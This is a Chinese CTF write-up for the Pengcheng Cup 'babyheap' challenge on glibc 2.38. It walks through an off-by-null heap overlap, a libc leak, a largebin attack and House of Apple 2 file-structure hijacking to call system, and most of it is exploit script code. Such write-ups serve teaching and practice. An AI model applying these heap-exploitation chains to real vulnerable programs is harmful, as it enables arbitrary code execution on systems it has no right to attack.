0%

鹏城杯初赛babyheap

鹏城杯初赛一道好题 babyheap

libc 2.38版本

打法是off_by_null触发overlap,堆块重叠之后再overlap一次,推动指针重叠,然后leak libc,最后打house of apple 2

比赛的时候太久没打过off by null了有点生疏了 卡在了leak libc那里

好好复习一遍

off by null触发overlap

Untitled

看着这张图来打吧

目的有两个

第一个fake_chunk需要满足largebin对的双向链表检测

为了实现目标我们要绕过的检测:

校验一

伪造的堆块必须满足largebin的双向链表检验:

1
2
3
victim→bk→fd = victim

victim→fd→bk = victim

校验二

要满足H1对的presize == fake_chunk的size

第一步:伪造合法的fake_chunk的fd和bk指针

我们只需要依次delete A、delete C0、delete D即可在C0处借用unsortedbin的双向链表特性构建好fd和bk。

这里我们可以顺便deleteB0,然后add一个B1构造好我们所需要的B1和C1也就是构造好我们的fake_chunk的size

第二步:构造A→bk = fake_chunk

这个比较简单,只需要delete A、delete C1,通过off by null即可ADD(A, b’a’*8)即可实现(这里有个小tips就是要保证C0的地址必须为xx00)

第三步:构造D→fd = fake_chunk

这个也比较简单,只需要delete C1、delete D、 delete H(类似第二步

第四步:Barrier的off by null改写H1的head

此时我们已经实现了fake_chunk的完全构造,这个时候通过barrier的off by null即可改写H1的presize和size,这里注意H1大小必须刚好0x501/0x401这类的,为了保证delete的时候对下一个堆头的校验。而且off by null也会改写成0x500 完美!

第五步:delete H1触发overlap

这个时候overlap的堆块就有C0、barrier、H1

注意我们现在拥有的指针仅有barrier,当然C0可以申请回来,H1也可以申请回来(理论

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# initial make sure C0_base = xx00
add(0x418, b'A'*0x100) # A
add(0x4e8, b'barrier') # barrier
add(0x438, b'B0'*0x100) # B0
add(0x438, b'C0'*0x100) # C0
add(0x408, b'barrier') # barrier
add(0x4e8, b'H0'*0x100) # H0 # 0x488
add(0x448, b"D"*0x100) # D
add(0x408, b'barrier') # barrier

"""step 1""" # fake_chunk -> fd || fake_chunk -> bk
delete(0) # delete A
delete(3) # delete C0
delete(6) # delete D

delete(2) # delete B0
add(0x458, b'1'*0x438 + p16(0x851)) # add B1 and set fake_chunk size == C0 + barrier + 1 * header_size
add(0x418, b'C1') # add C1
add(0x418, b'A') # recover A
add(0x448, b'D') # recover D

"""step2""" # A->bk = fake_chunk
delete(3) # delete A
delete(2) # delete C1
add(0x418, b'a'*8) # recover A and off by null make A->bk = fake_chunk
add(0x418, b'C1') # recover C1

"""step 3""" # D->fd = fake_chunk
delete(3) # delete C1
delete(6) # delete D
delete(5) # delete H

add(0x4f8, b'1'*0x4e8 + b'b'*8) # add H1 overwrite D->fd
add(0x438, b'1') # recover D1
add(0x418, b'1') # recover C1

"""step 4""" # Barrier off by null rewrite H1 presize
delete(4) # delete barrier
add(0x408, b'a'*0x400 + p64(0x850)) # barrier off by null presize must equal to fake_chunk size

"""overlap"""
delete(3)

这个模板实现效果是:

overlap的堆块大小为0xd50

在偏移0x20的地方我们有一个指针

在偏移0x440的地方我们有第二个指针

堆块重叠后再次overlap

目的就是leak

先将堆块消耗完,然后通过堆块重叠复写size,要注意改写的size,需要满足addr+size是一个合法堆头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
"""leak"""
add(0x460, b'1') # over the second point
add(0x420, b'2') # fill
add(0x4a8, b'3') # final fill

add(0x500, b'extra to the end') # extra to the end
# the new size is the extra - modify one 0x0000556ab0f695b0 - 0x0000556ab0f68480 = 0x1130
delete(4) # delete second point
add(0x408, b'a'*0x28 + p64(0x1131)) # resize for the next overlap
delete(8) # overlap

# now the target is to push the new overlap to the final fill
add(0x428, b'1') # push 1 now is in the position
add(0x4a8, b'3') # fill and make points
add(0x430, b'4') # fill
add(0x408, b'5') # fill the last overlap chunk

# start!
delete(9) # delete
add(0x500, b'111') # make it to large bin

# leak!
show(11)

leak_libc = leak()
log(hex(leak_libc))

libc_base = leak_libc - (0x7f44f45ff110 - 0x7f44f4400000)
log(hex(libc_base))

IO_list_all = libc_base + libc.sym['_IO_list_all']
fd = libc_base + (0x00007f3e455ff110 - 0x7f3e45400000)
fd_nextsize = heap_base + (0x000055f95094c8a0 - 0x55f95094b000)
# recover
add(0x4a8, b'1')

largebin attack & house of apple2

这部分比较简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
"""large bin attack & house of apple"""

# apple:
# def house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP):
# return (fake_IO_FILE, pad, payload)
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
RIP = libc_base + libc.sym['system']
wide_data_entry = heap_base + (0x000055e96ba93460 - 0x55e96ba90000) # 下面的第一个0x500
wide_data_vtable_entry = heap_base + (0x000056024a7a5970 - 0x56024a7a2000) # 下面的第二个0x500
payloads = house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP)
fake_IO_FILE = payloads[0]
pad = payloads[1]
payload = payloads[2]

# large bin attack
add(0x480, b'1')
delete(14) # delete the larger one
add(0x500, pad) # put it into largebin
delete(15) # delete the small one
edit(11, 0x20, p64(fd)*2 + p64(fd_nextsize) + p64(IO_list_all-0x20)) # edit bk_nextsize = target - 0x20
add(0x500, payload) # 15

delete(2)
add(0x480, b'1') # make IO_list_all to we can control

edit(8, 0x428, b'a'*0x420 + p64(0x68732020)) # edit flag
edit(11, len(fake_IO_FILE)-0x10, fake_IO_FILE[0x10:])
bpp()

exit()

ia()